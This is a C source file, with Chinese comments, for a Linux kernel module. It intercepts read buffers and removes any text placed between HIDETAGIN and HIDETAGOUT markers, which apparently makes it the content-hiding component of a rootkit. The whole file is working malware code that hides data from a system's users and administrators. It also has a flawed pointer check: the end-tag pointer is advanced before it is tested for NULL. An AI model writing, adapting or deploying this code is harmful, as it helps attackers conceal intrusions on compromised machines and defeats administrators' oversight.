#include <linux/uaccess.h> // 包含用户空间和内核空间之间的数据传输函数
#include <linux/slab.h>    // 包含内核内存分配函数

#include "file.h"          // 包含自定义头文件

// 检查给定的缓冲区是否包含隐藏标签
int file_check(void *arg, ssize_t size)
{
	int ret = 0; // 初始化返回值为0
	char *buf;   // 定义字符指针用于存储缓冲区

	// 检查缓冲区大小是否合法
	if ((size <= 0) || (size >= SSIZE_MAX))
		return ret;

	// 分配内核缓冲区
	buf = (char *)kmalloc(size + 1, GFP_KERNEL);
	if (!buf) // 检查内存分配是否成功
		return ret;

	// 将用户空间的缓冲区内容复制到内核缓冲区
	if (copy_from_user((void *)buf, (void *)arg, size))
		goto out; // 如果复制失败，跳转到out标签

	buf[size] = 0; // 确保缓冲区以NULL结尾

	// 检查缓冲区是否包含 HIDETAGIN 和 HIDETAGOUT 标签
	if ((strstr(buf, HIDETAGIN) != NULL) && (strstr(buf, HIDETAGOUT) != NULL))
		ret = 1; // 如果找到标签，设置返回值为1

out:
	kfree(buf); // 释放内核缓冲区
	return ret; // 返回结果
}

// 隐藏缓冲区中的内容
int hide_content(void *arg, ssize_t size)
{
	char *buf, *p1, *p2; // 定义字符指针用于存储缓冲区和标签位置
	int i, newret;       // 定义整数用于存储新的缓冲区大小和临时变量

	// 分配内核缓冲区
	buf = (char *)kmalloc(size, GFP_KERNEL);
	if (!buf) // 检查内存分配是否成功
		return (-1);

	// 将用户空间的缓冲区内容复制到内核缓冲区
	if (copy_from_user((void *)buf, (void *)arg, size)) {
		kfree(buf); // 如果复制失败，释放内核缓冲区
		return size;
	}

	// 查找 HIDETAGIN 和 HIDETAGOUT 标签的位置
	p1 = strstr(buf, HIDETAGIN);
	p2 = strstr(buf, HIDETAGOUT);
	p2 += strlen(HIDETAGOUT); // 移动指针到 HIDETAGOUT 标签的末尾

	// 检查标签位置是否合法
	if (p1 >= p2 || !p1 || !p2) {
		kfree(buf); // 如果标签位置不合法，释放内核缓冲区
		return size;
	}

	// 计算新的缓冲区大小
	i = size - (p2 - buf);
	// 移动标签之间的内容
	memmove((void *)p1, (void *)p2, i);
	newret = size - (p2 - p1); // 计算新的缓冲区大小

	// 将修改后的缓冲区内容复制回用户空间
	if (copy_to_user((void *)arg, (void *)buf, newret)) {
		kfree(buf); // 如果复制失败，释放内核缓冲区
		return size;
	}

	kfree(buf); // 释放内核缓冲区
	return newret; // 返回新的缓冲区大小
}
